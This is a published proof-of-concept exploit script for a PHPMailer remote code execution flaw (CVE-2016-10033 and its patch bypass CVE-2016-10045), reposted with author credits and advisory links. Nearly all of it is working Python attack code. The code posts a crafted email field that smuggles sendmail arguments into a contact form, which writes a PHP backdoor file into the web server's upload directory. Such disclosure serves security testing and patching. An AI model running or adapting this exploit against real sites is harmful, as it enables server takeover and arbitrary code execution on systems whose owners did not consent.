PHPMailer Remote Code Execution
Posted on 28 December 2016
#!/usr/bin/python intro = """ PHPMailer RCE PoC Exploits PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) + PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) (the bypass of the first patch for CVE-2016-10033) Discovered and Coded by: Dawid Golunski @dawid_golunski https://legalhackers.com """ usage = """ Usage: Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html PoC Video: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Disclaimer: For testing purposes only. Do no harm. """ import time import urllib import urllib2 import socket import sys RW_DIR = "/var/www/html/uploads" url = 'http://VictimWebServer/contact_form.php' # Set destination URL here # Choose/uncomment one of the payloads: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) #payload = '"attacker\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = ""attacker\' -oQ/tmp/ -X%s/phpcode.php some"@email.com" % RW_DIR ###################################### # PHP code to be saved into the backdoor php file on the target in RW_DIR RCE_PHP_CODE = "<?php phpinfo(); ?>" post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE} # Attack data = urllib.urlencode(post_fields) req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read()
